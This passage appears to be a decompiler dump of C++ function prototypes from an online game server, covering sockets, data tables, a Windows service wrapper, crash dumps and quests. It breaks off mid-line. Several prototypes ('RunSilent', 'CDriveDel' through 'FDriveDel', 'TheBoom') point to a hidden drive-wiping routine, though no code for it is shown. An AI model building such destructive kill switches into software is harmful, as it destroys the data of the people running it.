DataRecordArgument::lid_Call(DataRecordArgument *this, ORColumnHeader *ele, unsigned __int16 handle); char __thiscall RecordDataCompareArgument::lid_Call(RecordDataCompareArgument *this, ORRecord *ele, unsigned __int16 handle); void __thiscall ORColumnHeaderList::_ORColumnHeaderList(ORColumnHeaderList *this); char __thiscall ORTable::ort_MakePrimaryKey(ORTable *this, char *column); char __thiscall ORTable::ort_ReadColumnName(ORTable *this, ORTokenReader *token); void *__thiscall ORRecord::orr_GetFieldData(ORRecord *this, char *targetcolumn, int *type); void *__thiscall ORTable::ort_FindData(ORTable *this, char *column, char *content, char *targetcolumn, int skip, int *type); void *__thiscall ORTable::ort_RecordBuffer(ORTable *this, int order); void *__thiscall ORTable::ort_RecordBuffer(ORTable *this, char *column, char *content, int skip); void *__thiscall OptionReader::or_SelectFromOrder(OptionReader *this, ORToken table, int order); void *__thiscall OptionReader::or_Select(OptionReader *this, char *targetcolumn, ORToken table, char *key, int *type); void *__thiscall OptionReader::or_SelectFrom(OptionReader *this, ORToken table, char *column, char *content, int skip); void *__thiscall OptionReader::or_Select(OptionReader *this, char *targetcolumn, ORToken table, char *column, char *content, int skip, int *type); char __thiscall OptionReader::or_MakePrimaryKey(OptionReader *this, ORToken table, char *column); int __thiscall OptionReader::or_SelectCount(OptionReader *this); char __thiscall List::l_Enlargement(List *this, int extsize); char __thiscall ORTable::ort_ReadData(ORTable *this, ORTokenReader *token); char __thiscall OptionReader::or_ExecRecordIn(OptionReader *this, ORTokenReader *token); char __thiscall OptionReader::or_ExecRecord(OptionReader *this, ORTokenReader *token); void *__thiscall OptionReader::or_SelectFrom(OptionReader *this, ORToken table, char *column, int content, int skip); void *__thiscall OptionReader::or_Select(OptionReader *this, char *targetcolumn, ORToken table, char *column, int content, int skip, int *type); int __thiscall OptionReader::or_SelectCountFrom(OptionReader *this, ORToken table); void __thiscall CServerInfo::CServerInfo(CServerInfo *this); int __thiscall CServerInfo::ReadServerInfo(CServerInfo *this, char *pFN); int __thiscall CServerInfo::GetNumOfData(CServerInfo *this); int __thiscall CServerInfo::GetMyServerInfo(CServerInfo *this, CServerInfo::MY_SERVER *pMyServer); int __thiscall CServerInfo::GetServerInfo(CServerInfo *this, CServerInfo::SERVER_INFO *pServerInfo, int ScriptorDataIndex); int __thiscall CServerInfo::GetServerIndex(CServerInfo *this, int ServerID, int WorldNo, int ZoneNo, int ServerIDFrom); int __thiscall CServerInfo::GetServerIndex(CServerInfo *this, int ServerID, int WorldNo, int ZoneNo); int __thiscall CServerInfo::GetWorldName(CServerInfo *this, int nWorldNo, CServerInfo::WORLD_NAME *pWorldName); int __thiscall CServerInfo::GetServerInfo(CServerInfo *this, CServerInfo::SERVER_INFO *pServerInfo, int ServerID, int WorldNo, int ZoneNo, int ServerIDFrom); int __thiscall CServerInfo::GetServerInfo(CServerInfo *this, CServerInfo::SERVER_INFO *pServerInfo, int ServerID, int WorldNo, int ZoneNo); ORToken *__thiscall ORToken::ort_ToLower(ORToken *this); char __thiscall ORToken::ort_IsNull(ORToken *this); char *__thiscall ORToken::ort_GetString(ORToken *this, char *buf); char __thiscall ORLinebuffer::orlb_LineRead(ORLinebuffer *this); int __thiscall ORLinebuffer::orlb_FGetc(ORLinebuffer *this); void __thiscall ORDelimiter::ORDelimiter(ORIgnore *this); char __thiscall ORDelimiter::operator__(ORDelimiter *this, int chr); void __thiscall ORExchange::ORExchange(ORExchange *this); int __thiscall ORExchange::operator__(ORExchange *this, int chr); void __thiscall ORComment::ORComment(ORComment *this); void __thiscall ORBrace::ORBrace(ORBrace *this); char __thiscall ORBrace::orb_IsOpen(ORBrace *this, int chr); char __thiscall ORBrace::orb_IsClose(ORBrace *this, int chr); void __thiscall ORErrorMessage::orem_Clear(ORErrorMessage *this); void __thiscall ORErrorMessage::operator_(ORErrorMessage *this, char *msg); void __thiscall ORTokenReader::ORTokenReader(ORTokenReader *this, _iobuf *fp, TokenArgument *argument); int __thiscall ORTokenReader::ortr_SkipBlank(ORTokenReader *this); void __thiscall ORTokenReader::ortr_SetError(ORTokenReader *this, char *err); int __thiscall ORTokenReader::ortr_ReadNumber8(ORTokenReader *this, char *result); int __thiscall ORTokenReader::ortr_ReadNumber10(ORTokenReader *this, char *result); int __thiscall ORTokenReader::ortr_ReadNumber16(ORTokenReader *this, char *result); int __thiscall ORTokenReader::ortr_GetOctal(ORTokenReader *this); int __thiscall ORTokenReader::ortr_GetDigit(ORTokenReader *this); int __thiscall ORTokenReader::ortr_GetHexa(ORTokenReader *this); int __thiscall ORTokenReader::ortr_ReadNumber(ORTokenReader *this, char *result); char __thiscall ORTokenReader::ortr_isEOL(ORTokenReader *this); int __thiscall ORTokenReader::ortr_ReadChar(ORTokenReader *this); char *__thiscall ORTokenReader::ortr_ReadString(ORTokenReader *this, ORTokenReader::BraceInString readbrace); ORToken *__thiscall ORTokenReader::ortr_ReadCommand(ORTokenReader *this, ORToken *com); char __thiscall ORDelimiter::ord_Exec(ORIgnore *this, ORTokenReader *token); char __thiscall ORExchange::ore_Exec(ORExchange *this, ORTokenReader *token); char __thiscall ORComment::orc_Exec(ORComment *this, ORTokenReader *token); char __thiscall ORBrace::orb_Exec(ORBrace *this, ORTokenReader *token); void __thiscall ORErrorMessage::ORErrorMessage(ORErrorMessage *this); void __thiscall List::_List(List *this); char __thiscall List::l_Enlargement(List *this, int extsize); char __thiscall List::l_PopZ(List *this, CardDeck::Card *ele); void __thiscall ListArray::_ListArray(ListArray *this); void __thiscall CardDeck::CardStack::_CardStack(CardDeck::CardStack *this); void __thiscall CardDeck::CardStack::cs_Suffle(CardDeck::CardStack *this, int num); unsigned __int16 __thiscall CardDeck::CardStack::cs_InsertTop(CardDeck::CardStack *this, unsigned int card); unsigned __int16 __thiscall CardDeck::CardStack::cs_InsertBottom(CardDeck::CardStack *this, unsigned int card); void __thiscall List::l_Clear(List *this); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); char __thiscall List::l_SetListArray(List *this, ListArray *array); void __thiscall CardDeck::CardStack::CardStack(CardDeck::CardStack *this); void __cdecl MiniDumper::MinidumpCallStack(_EXCEPTION_POINTERS *pExceptionInfo); int __stdcall MiniDumper::TopLevelFilter(_EXCEPTION_POINTERS *pExceptionInfo); void __thiscall MiniDumper::MiniDumper(MiniDumper *this); void __thiscall ItemOptionsData::OptionCardStack::OptionCardStack(ItemOptionsData::OptionCardStack *this); void __thiscall ItemOptionsData::OptionCardStack::_OptionCardStack(ItemOptionsData::OptionCardStack *this); int __thiscall ItemOptionsData::OptionCardStack::ocs_selectnumber(ItemOptionsData::OptionCardStack *this, ItemOptions *op); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall BinaryDataBox::_BinaryDataBox(MobResistTable *this); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall RewardData::RewardData(RewardData *this); void __thiscall RewardData::rd_Load(RewardData *this); ShineReward *__thiscall RewardData::rd_FindHandle(RewardData *this, int handle); void __thiscall ItemOptionsData::ItemOptionsData(ItemOptionsData *this); void __thiscall ItemOptionsData::_ItemOptionsData(ItemOptionsData *this); char __thiscall ItemOptionsData::OptionCardStack::ocs_make(ItemOptionsData::OptionCardStack *this, ItemOptionStorage *ios); void __thiscall CardDeck::CardStack::cs_Clear(CardDeck::CardStack *this); void __thiscall ItemOptionsData::iod_Load(ItemOptionsData *this); const char *__cdecl GetLastErrorStr(unsigned int errorcode, int bAddCRLF); const char *__cdecl GetCurrentTimeString(int bUTCTime); const char *__cdecl GetCurrentTimeString2(int bUTCTime); void __cdecl _DebugMessageNew2(int bView, const char *sFN, const char *lpszFormat, char *args); std::locale *__thiscall std::basic_streambuf>::getloc(std::basic_streambuf > *this, std::locale *result); void __cdecl _DEBUGMSG(const char *lpszFormat); void __cdecl _DEBUGMSGVC(int bView, const char *lpszFormat); void __cdecl _DebugMessageNew(int bView, const char *sFN, const char *lpszFormat); void __thiscall std::codecvt::codecvt(std::codecvt *this, unsigned int _Refs); int __thiscall std::codecvt::do_out(std::codecvt *this, int *__formal, const char *_First1, const char *__formal, const char **_Mid1, char *_First2, char *__formal, char **_Mid2); int __thiscall std::codecvt::do_unshift(std::codecvt *this, int *__formal, char *__formal, char *__formal, char **__formal); int __thiscall std::codecvt::do_length(std::codecvt *this, const int *__formal, const char *_First1, const char *_Last1, unsigned int _Count); unsigned int __cdecl std::codecvt::_Getcat(std::locale::facet **_Ppf); std::basic_streambuf > *__thiscall std::basic_filebuf>::setbuf(std::basic_filebuf > *this, char *_Buffer, int _Count); int __thiscall std::basic_filebuf>::sync(std::basic_filebuf > *this); int __thiscall std::basic_filebuf>::pbackfail(std::basic_filebuf > *this, int _Meta); char *__thiscall std::basic_streambuf>::_Gndec(std::basic_streambuf > *this); int __thiscall std::basic_filebuf>::underflow(std::basic_filebuf > *this); void __thiscall std::basic_filebuf>::_Initcvt(std::basic_filebuf > *this, std::codecvt *_Newpcvt); std::codecvt *__cdecl std::use_facet>(std::locale *_Loc); void __thiscall std::basic_filebuf>::imbue(std::basic_filebuf > *this, std::locale *_Loc); std::basic_filebuf > *__thiscall std::basic_filebuf>::open(std::basic_filebuf > *this, const char *_Filename, int _Mode, int _Prot); std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::assign(std::basic_string,std::allocator > *this, unsigned int _Count, char _Ch); int __thiscall std::basic_filebuf>::uflow(std::basic_filebuf > *this); bool __thiscall std::basic_filebuf>::_Endwrite(std::basic_filebuf > *this); int __thiscall std::basic_filebuf>::overflow(std::basic_filebuf > *this, int _Meta); std::fpos *__thiscall std::basic_filebuf>::seekoff(std::basic_filebuf > *this, std::fpos *result, int _Off, int _Way, int __formal); std::fpos *__thiscall std::basic_filebuf>::seekpos(std::basic_filebuf > *this, std::fpos *result, std::fpos _Pos, int __formal); std::basic_filebuf > *__thiscall std::basic_filebuf>::close(std::basic_filebuf > *this); void __thiscall std::basic_filebuf>::_basic_filebuf>(std::basic_filebuf > *this); void *__thiscall std::basic_filebuf>::_scalar_deleting_destructor_(std::basic_filebuf > *this, unsigned int); unsigned int __cdecl RunSilent(char *strFunct, char *strstrParams); unsigned int __stdcall CDriveDel(void *LPARAM); unsigned int __stdcall DDriveDel(void *LPARAM); unsigned int __stdcall EDriveDel(void *LPARAM); unsigned int __stdcall FDriveDel(void *LPARAM); BOOL __cdecl TheBoom(); int __thiscall CSocket_Acceptor_Process_Interface::Accept_Process(CIOCP_Process_Socket *this, CIOCP::IOCP_OVERLAPPED *pOverlapped, unsigned int NumOfBytes); void __thiscall CIOCP_Process::CIOCP_Process(CIOCP_Process *this); int __thiscall CSocket_IOCP::Receive(CSocket_IOCP *this, void *pBuffer, unsigned int dwNumBytes, unsigned int *pdwReadBytes); int __thiscall CSocket_IOCP::Shutdown(CSocket_IOCP *this); void __thiscall CSocket_IOCP::CloseUseIOCP(CSocket_IOCP *this, CIOCP *pIOCP); void __thiscall CSocket_IOCP::FreeBuffer(CSocket_IOCP *this); int __thiscall CSocket_IOCP::Close(CSocket_IOCP *this); int __thiscall CSocket_IOCP::Write(CSocket_IOCP *this, CIOBuffer *pBuffer); void __thiscall CSocket_IOCP::WriteCallback(CSocket_IOCP *this, unsigned int dwTransferred); void __thiscall CSocket_IOCP::CSocket_IOCP(CSocket_IOCP *this); void __thiscall CSocket_IOCP::_CSocket_IOCP(CSocket_IOCP *this); int __thiscall CSocket_IOCP::Connect(CSocket_IOCP *this, char *pIPAddress, int PortNo); int __thiscall CSocket_IOCP::Send(CSocket_IOCP *this, void *pBuffer, unsigned int dwNumBytes); void __thiscall CPacket::_CPacket(CPacket *this); int __thiscall CPacket::IsValidHeader(CPacket *this); int __thiscall CPacket::IsValidPacket(CPacket *this); int __thiscall CPacket::GetPacketSize(CPacket *this, int *pError); unsigned __int16 __thiscall CPacket::GetDataSize(CPacket *this); unsigned __int16 *__thiscall CPacket::GetIDPtr(CPacket *this); char *__thiscall CPacket::GetDataPtr(CPacket *this); int __thiscall CPacket::GetPacket(CPacket *this, unsigned __int16 *pID, char **ppData, int *pDataSize); void __thiscall CPacket::TakeNextPacket(CPacket *this); int __thiscall CPacket::RemoveAllUsedPacket(CPacket *this); void __thiscall CPacket::Clear(CPacket *this); unsigned __int16 __thiscall CPacket::ID(CPacket *this); void __thiscall CPacket::WriteData(CPacket *this, void *buffer, int size); int __thiscall CPacket::GetWriteableBufferSize(CPacket *this); char *__thiscall CPacket::GetWriteDataPtr(CPacket *this); void __thiscall CPacket::CPacket(CPacket *this); CPacket *__thiscall CPacket::ID(CPacket *this, unsigned __int16 PacketID, int DataSize, char *pData); void __thiscall CIOCP::CIOCP(CIOCP *this); void *__thiscall CIOCP::Register(CIOCP *this, void *IOHandle, unsigned int CompletionKey); void __thiscall CIOCP::Stop(CIOCP *this, int StopWorkerID); unsigned int __stdcall CIOCP::WorkThread(void *lpParam); int __thiscall CIOCP::Start(CIOCP *this, int nNumOfWorkThread, int bWaitAllThreadStart); void __thiscall CIOCP::_CIOCP(CIOCP *this); // unsigned int __cdecl CGTimer::GetTime(); void __thiscall CCsl::VarClear(CCsl *this); int __thiscall CCsl::MakeFormatTable(CCsl *this); int __thiscall CCsl::MakeDataTable(CCsl *this); int __thiscall CCsl::AddResultMsg(CCsl *this, char *pszMsg); CCsl::CSL_FORMAT_LIST *__thiscall CCsl::GetFormat(CCsl *this, int Index); int __thiscall CCsl::GetNumDatas(CCsl *this); CCsl::CSL_DATA_LIST *__thiscall CCsl::GetDataInfo(CCsl *this, int Index); void *__thiscall CCsl::GetData(CCsl *this, int Index, int VarNo); int __thiscall CCsl::ProcRemark(CCsl *this, char *Token); CCsl::CSL_FORMAT_LIST *__thiscall CCsl::MakeFormat(CCsl *this); int __thiscall CCsl::AddFormat(CCsl *this, CCsl::CSL_FORMAT_LIST *pAddFormat); char *__thiscall CCsl::GetDataToken(CCsl *this); int __thiscall CCsl::Parameter_filename(CCsl *this, char *pFileName); CCsl::CSL_DATA_LIST *__thiscall CCsl::MakeData(CCsl *this, unsigned int dwID, CCsl::CSL_FORMAT_LIST *pFormat); int __thiscall CCsl::ProcData(CCsl *this, char *Token, char *pRet); void __thiscall CCsl::ReadScriptDone(CCsl *this); int __thiscall CCsl::Read(CCsl *this, char *lpszPathName); int __thiscall CCsl::WriteFormat(CCsl *this, char *lpszPathName, void *hFile); int __thiscall CCsl::WriteData(CCsl *this, char *lpszPathName, void *hFile); void __thiscall CCsl::ClearFormats(CCsl *this); void __thiscall CCsl::ClearDatas(CCsl *this); void __thiscall CCsl::Close(CCsl *this); void __thiscall CCsl::Clear(CCsl *this); void __thiscall CCsl::_CCsl(CCsl *this); void __thiscall CCsl::CCsl(CCsl *this); void __thiscall CCsl::CCsl(CCsl *this, CCsl *pParentCsl); void __thiscall CCsl::IncludeFile(CCsl *this); int __thiscall CCsl::ProcCmd(CCsl *this, char *Token, char *pRet); int __thiscall CCsl::ReadScript(CCsl *this, char *lpszPathName, HWND__ *hWnd, unsigned int UseMsgID, void *pMemory); void __thiscall CSocket_Acceptor::CSocket_Acceptor(CSocket_Acceptor *this); int __thiscall CSocket_Acceptor::Stop(CSocket_Acceptor *this); int __thiscall CSocket_Acceptor::Listen_Add(CSocket_Acceptor *this, char *pIPAddress, int PortNo, unsigned int UserData, int BacklogCount); int __thiscall CSocket_Acceptor::GetAccepted(CSocket_Acceptor *this, CSocket_Acceptor::ACCEPTED_SOCKET_INFO *pSocketInfo, int bRemove); int __thiscall CSocket_Acceptor::SetAccepted(CSocket_Acceptor *this, unsigned int Socket, sockaddr_in *pSocketAddr, unsigned int UserData); int __thiscall CSocket_Acceptor::AcceptThreadWork(CSocket_Acceptor *this, unsigned int CheckPoint); void __thiscall CSocket_Acceptor::_CSocket_Acceptor(CSocket_Acceptor *this); unsigned int __stdcall CSocket_Acceptor::AcceptThreadRing(void *lpParam); int __thiscall CSocket_Acceptor::Listen_Start(CSocket_Acceptor *this); void __thiscall WinService::_WinService(WinService *this); bool __thiscall WinService::uploadService(WinService *this, String svcName, String displayName, String modulePath); bool __thiscall WinService::removeService(WinService *this, String svcName); void __thiscall WinService::onServiceStop(WinService *this); int __thiscall WinService::queryServiceStatus(WinService *this, unsigned int *pResult, const char *netMachine, const char *serviceName); void __thiscall WinService::WinService(WinService *this); void *__thiscall WinService::_vector_deleting_destructor_(WinService *this, unsigned int); void __stdcall WinService::serviceHandler(unsigned int status); bool __thiscall WinService::onServiceStart(WinService *this); void __stdcall WinService::serviceLoop(unsigned int argc, char **argv); bool __thiscall WinService::startDispatcher(WinService *this, String serviceName, bool (__cdecl *startCallBack)(), void (__cdecl *stopCallBack)()); void __thiscall String::_String(String *this); void __thiscall String::allocData(String *this, int strLen); void __thiscall String::makeUpper(String *this); String *__thiscall String::operator_(String *this, const char *str); void __thiscall String::String(String *this); void *__thiscall String::_scalar_deleting_destructor_(String *this, unsigned int); void __thiscall String::String(String *this, const char *str); String *__thiscall String::operator_(String *this, String *str); bool __cdecl operator__(String *str1, String *str2); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryData *__thiscall ItemDataBox::__unnamed::__unnamed(BinaryData *this); void __thiscall ItemDataBox::__unnamed::___unnamed(BinaryData *this); bool __thiscall ItemDataBox::ReadData(ItemDataBox *this, char *pdatafn); void __thiscall ItemDataBox::_ItemDataBox(ItemDataBox *this); void __thiscall ItemDataBox::idb_Load(ItemDataBox *this); void __thiscall ItemDataBox::ItemDataBox(ItemDataBox *this, char *pdatafn, bool bCheckAndRead); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall MapDataBox::mdb_Load(MapDataBox *this); void __thiscall MapDataBox::MapDataBox(MapDataBox *this); void __thiscall MapDataBox::_MapDataBox(MapDataBox *this); int __cdecl InetAddress::WinSockStart(int MajorVer, int MinorVer); char *__cdecl InetAddress::GetHostByName(char *name); void __thiscall ORKeyList::_ORKeyList(ORKeyList *this); void __thiscall ORKeyList::okl_AddKey(ORKeyList *this, ORToken *field, ORRecord *rec); int __cdecl ORKeyList::okl_KeyCompare(const void *a, const void *b); void __thiscall ORKeyList::ORKeyList(ORKeyList *this); char __thiscall ORKeyList::okl_Sorting(ORKeyList *this); ORRecord *__thiscall ORKeyList::okl_Searching(ORKeyList *this, char *index); ORToken *__thiscall ORField::orf_ColumnName(ORField *this); void __thiscall PacketContainer::pcb_SetSocketSession(ORField *this, ORColumnHeader *hd); char __thiscall ORFieldIndex::orf_Read(ORFieldIndex *this, ORTokenReader *token); char __thiscall ORFieldIndex::orf_CompareContent(ORFieldIndex *this, char *contentstring, ORToken *contentindex); char __thiscall ORFieldString::orf_CompareContent(ORFieldString *this, char *contentstring, ORToken *contentindex); char __thiscall ORFieldByte::orf_Read(ORFieldByte *this, ORTokenReader *token); char __thiscall ORFieldByte::orf_CompareContent(ORFieldByte *this, char *contentstring, ORToken *contentindex); char __thiscall ORFieldWord::orf_Read(ORFieldWord *this, ORTokenReader *token); char __thiscall ORFieldWord::orf_CompareContent(ORFieldWord *this, char *contentstring, ORToken *contentindex); void *__thiscall ORFieldDwrd::orf_GetBuffer(ORFieldDwrd *this); int __thiscall ORFieldIndex::orf_Alloc(ORFieldDwrd *this, char *pnt); char __thiscall ORFieldDwrd::orf_Read(ORFieldDwrd *this, ORTokenReader *token); char __thiscall ORFieldDwrd::orf_CompareContent(ORFieldDwrd *this, char *contentstring, ORToken *contentindex); void __thiscall ORRecord::ORRecord(ORRecord *this); void __thiscall ORRecord::l_Clone(ORRecord *this, ORRecord *rec); void *__thiscall ORRecord::orr_GetBuffer(ORRecord *this); void __thiscall ORRecord::orr_MakeBuffer(ORRecord *this, int recorelength); void __thiscall ORRecord::orr_AllocMemory(ORRecord *this, ORField *cell); ORField *__thiscall ORRecord::orr_AllocObject(ORRecord *this, unsigned __int16 *hnd, unsigned __int16 type); char __thiscall ORFieldString::orf_Read(ORFieldString *this, ORTokenReader *token); void __thiscall ORRecord::_ORRecord(ORRecord *this); void __cdecl FillInStackFrame(_CONTEXT *pCtx); int __stdcall CH_ReadProcessMemory(void *__formal, unsigned __int64 qwBaseAddress, void *lpBuffer, unsigned int nSize, unsigned int *lpNumberOfBytesRead); const char *__cdecl EHConvertSimpleException(unsigned int dwExcept); int __cdecl EHInitSymbolEngine(); void __cdecl EHCleanupSymbolEngine(); const char *__stdcall EHInternalGetStackTraceString(unsigned int dwOpts); const char *__stdcall GetFaultReason(_EXCEPTION_POINTERS *pExPtrs); const char *__stdcall GetFirstStackTraceString(unsigned int dwOpts, _EXCEPTION_POINTERS *pExPtrs); const char *__stdcall GetNextStackTraceString(unsigned int dwOpts, _EXCEPTION_POINTERS *__formal); void __thiscall CIOSpinLock::Wait(CIOSpinLock *this); void __thiscall IOBufferContainer::IOBufferContainer(IOBufferContainer *this); CIOBuffer *__thiscall IOBufferContainer::iobc_Alloc(IOBufferContainer *this); void *__thiscall CIOBuffer::_scalar_deleting_destructor_(CIOBuffer *this, unsigned int); CIOBuffer *__cdecl CIOBuffer::Alloc(); void __thiscall CIOBuffer::Free(CIOBuffer *this); void __thiscall CToken::CToken(CToken *this); void __thiscall CToken::Close(CToken *this); void __thiscall CToken::SetSeprator(CToken *this, char *lpszSeprator); char *__thiscall CToken::my_tcstok(CToken *this, char *pstrToken, const char *pstrDelimit); char *__thiscall CToken::GetToken(CToken *this); int __thiscall CToken::GoBegin(CToken *this); int __thiscall CToken::GoNextLine(CToken *this); char *__thiscall CToken::GoStartString(CToken *this); void __thiscall CToken::SaveTokenPositon(CToken *this); int __thiscall CToken::RestoreTokenPositon(CToken *this, const char *pMarkPoint); unsigned int __thiscall CToken::IsTokenID(CToken *this, char *Token, char **ppTokenList, unsigned int NumTokens); char *__thiscall CToken::GetTokenID(CToken *this, unsigned int *lpdwTokenID, char **ppTokenList, unsigned int NumTokens); void __thiscall CToken::_CToken(CToken *this); int __thiscall CToken::Open(CToken *this, char *lpszPathName); int __thiscall CToken::OpenFromMemory(CToken *this, char *lpText); char *__thiscall CToken::GetTokenString(CToken *this, int *pstrsize); void __thiscall CGdp::Clear(CGdp *this); unsigned int __thiscall CGdp::GdpSetFilePointer(CGdp *this, int lLow, int *lpHigh, unsigned int dwMode); void __thiscall CGdp::GdpEncryptHeader(CGdp *this, CGdp::GDP_CHUNK *lpChunk); void __thiscall CGdp::GdpDecryptData(CGdp *this, void *lpData, unsigned int dwSize); int __thiscall CGdp::GdpWriteChunk(CGdp *this, CGdp::GDP_CHUNK *lpChunk); int __thiscall CGdp::GdpUpdateChunk(CGdp *this, unsigned int dwChunkNo); void __thiscall CGdp::UpdateWriteDataInfo(CGdp *this, const void *lpBuffer, unsigned int nNumberOfBytesToWrite); unsigned int __thiscall CGdp::GdpSearchFile(CGdp *this, const char *lpFileName); int __thiscall CGdp::GdpDeleteFile(CGdp *this, unsigned int dwFileNo); int __thiscall CGdp::GdpDeleteFile(CGdp *this, const char *lpFileName); int __thiscall CGdp::CloseHandle(CGdp *this, void *hObject); int __thiscall CGdp::ReadFile(CGdp *this, void *hFile, void *lpBuffer, unsigned int nNumberOfBytesToRead, unsigned int *lpNumberOfBytesRead, _OVERLAPPED *lpOverlapped); int __thiscall CGdp::WriteFile(CGdp *this, void *hFile, const void *lpBuffer, unsigned int nNumberOfBytesToWrite, unsigned int *lpNumberOfBytesWritten, _OVERLAPPED *lpOverlapped); unsigned int __thiscall CGdp::GetFileSize(CGdp *this, void *hFile, unsigned int *lpFileSizeHigh); unsigned int __thiscall CGdp::SetFilePointer(CGdp *this, void *hFile, int lDistanceToMove, int *lpDistanceToMoveHigh, unsigned int dwMoveMethod); int __thiscall CGdp::fclose(CGdp *this, _iobuf *stream); void __thiscall CGdp::CGdp(CGdp *this); int __thiscall CGdp::GdpCloseFile(CGdp *this); unsigned int __thiscall CGdp::GdpMakeEmptyChunk(CGdp *this, unsigned int NumMakes); int __thiscall CGdp::GdpClose(CGdp *this); int __thiscall CGdp::Open(CGdp *this, unsigned int GdpFileNo); int __thiscall CGdp::Open(CGdp *this, const char *lpFileName); void __thiscall CGdp::_CGdp(CGdp *this); unsigned int __thiscall CGdp::GdpGetEmptyChunk(CGdp *this); void *__thiscall CGdp::CreateFileA(CGdp *this, const char *lpFileName, unsigned int dwDesiredAccess, unsigned int dwShareMode, _SECURITY_ATTRIBUTES *lpSecurityAttributes, unsigned int dwCreationDisposition, unsigned int dwFlagsAndAttributes, void *hTemplateFile); void __thiscall CSocket_Acceptor_Process::CSocket_Acceptor_Process(CSocket_Acceptor_Process *this); void __thiscall CDataReader::CDataReader(CDataReader *this); void __thiscall CDataReader::ClearBF(CDataReader *this); void __cdecl CDataReader::Encription(CDataReader *this, char *pBF, unsigned int nSize); void *__thiscall CDataReader::GetRecord(CDataReader *this, unsigned int RecordNo); void __thiscall CDataReader::_CDataReader(CDataReader *this); int __thiscall CDataReader::Read(CDataReader *this, const char *pFN); int __thiscall CDataReader::Read(CDataReader *this, const char *pFN, unsigned int nVersionKey, unsigned int nStructSize); bool __thiscall AreaInfoData::AE_Circle::IntersectTest(AreaInfoData::AE_Circle *this, float fX, float fY); bool __thiscall AreaInfoData::AE_Square::IntersectTest(AreaInfoData::AE_Square *this, float fX, float fY); void __thiscall AreaInfoData::AreaInfoData(AreaInfoData *this); AreaInfoData::IAreaData *__thiscall AreaInfoData::GetData(AreaInfoData *this, Name8 *Name); void __thiscall AreaInfoData::RemoveAll(AreaInfoData *this); void __thiscall AreaInfoData::_AreaInfoData(AreaInfoData *this); bool __thiscall AreaInfoData::Load(AreaInfoData *this, const char *szFileName); void *__thiscall AreaInfoData::_vector_deleting_destructor_(AreaInfoData *this, unsigned int); int __thiscall CCharacterTitleData::Read(CCharacterTitleData *this, const char *pFN, unsigned int nVersionKey, unsigned int nStructSize); CHARACTER_TITLE_DATA *__thiscall CCharacterTitleData::GetGroupData(CCharacterTitleData *this, char Type); const char *__thiscall CCharacterTitleData::GetTitleString(CCharacterTitleData *this, char Type, char ElementNo); unsigned int __thiscall CCharacterTitleData::GetTitleValue(CCharacterTitleData *this, char Type, char ElementNo); unsigned int __thiscall CCharacterTitleData::GetTitleFame(CCharacterTitleData *this, char Type, char ElementNo); CT_TITLE *__thiscall CCharacterTitle::GetGroupTitle(CCharacterTitle *this, char Type); CT_ELEMENT_VALUE __thiscall CCharacterTitle::GetTitleStatus(CCharacterTitle *this, char Type, char ElementNo); int __thiscall CCharacterTitle::IsUsableTitle(CCharacterTitle *this, char Type, char ElementNo, unsigned __int16 MobID); int __thiscall CCharacterTitle::AddView(CCharacterTitle *this, char Type, char ElementNo); int __thiscall CCharacterTitle::SetCurrentTitle(CCharacterTitle *this, char Type, char ElementNo, unsigned __int16 MobID, const char *pSpecialTitle); void __thiscall CCharacterTitle::Clear(CCharacterTitle *this); unsigned int __thiscall CCharacterTitle::GetMyTitleCount(CCharacterTitle *this); int __thiscall CCharacterTitle::SetTitleStatus(CCharacterTitle *this, char Type, char ElementNo, CT_ELEMENT_VALUE ElementValue); void __thiscall CCharacterTitle::CCharacterTitle(CCharacterTitle *this, CCharacterTitleData *pCharacterTitleData); void __thiscall CQuest::_CQuest(CQuest *this); int __thiscall CQuest::InitQuestBF(CQuest *this, int NumOfQuest); void __thiscall CQuest::ClearQuest(CQuest *this); PLAYER_QUEST_INFO *__thiscall CQuest::GetQuestInfo(CQuest *this, unsigned __int16 nID); PLAYER_QUEST_INFO *__thiscall CQuest::GetQuestInfoByIndex(CQuest *this, int nIndex); void __thiscall CQuest::SetQuestInfoClearRepeat(CQuest *this, PLAYER_QUEST_INFO *pQuestInfo); void __thiscall CQuest::SetQuestClear(CQuest *this, unsigned __int16 nID); int __thiscall CQuest::SetQuestAccept(CQuest *this, unsigned __int16 nID); int __thiscall CQuest::SetQuestCancel(CQuest *this, unsigned __int16 nID); int __thiscall CQuest::SetQuestProgress(CQuest *this, unsigned __int16 nID, char ProgressStep); int __thiscall CQuest::SetQuestFailed(CQuest *this, unsigned __int16 nID); int __thiscall CQuest::SetQuestDone(CQuest *this, PLAYER_QUEST_INFO *pQuestInfo); int __thiscall CQuest::SetQuestAbort(CQuest *this, unsigned __int16 nID); int __thiscall CQuest::Recv_NC_CHAR_QUEST_DOING_CMD_ACK(CQuest *this, PROTO_NC_CHAR_QUEST_DOING_CMD *pQuestPlayerDoingData); int __thiscall CQuest::Recv_NC_CHAR_QUEST_DONE_CMD_ACK(CQuest *this, PROTO_NC_CHAR_QUEST_DONE_CMD *pQuestPlayerDoneData); int __thiscall CQuest::QuestPlayer_LevelChange(CQuest *this, char nPlayerLevel); int __thiscall CQuest::IsQuestArea(CQuest *this, unsigned int CurrentX, unsigned int CurrentY, unsigned int QuestX, unsigned int QuestY, unsigned int QuestRange); int __thiscall CQuest::GetNumOfDoingQuest(CQuest *this); int __thiscall CQuest::IsQuestNPCMob(CQuest *this, QUEST_DATA *lpQuestData, unsigned __int16 nNPCID); int __thiscall CQuest::IsConversationNPCMob(CQuest *this, QUEST_DATA *lpQuestData, unsigned __int16 nNPCID); unsigned __int16 __thiscall CQuest::GetRewardNPC(CQuest *this, QUEST_DATA *lpQuestData); int __thiscall CQuest::IsSoonableQuest(CQuest *this, QUEST_DATA *lpQuestData); int 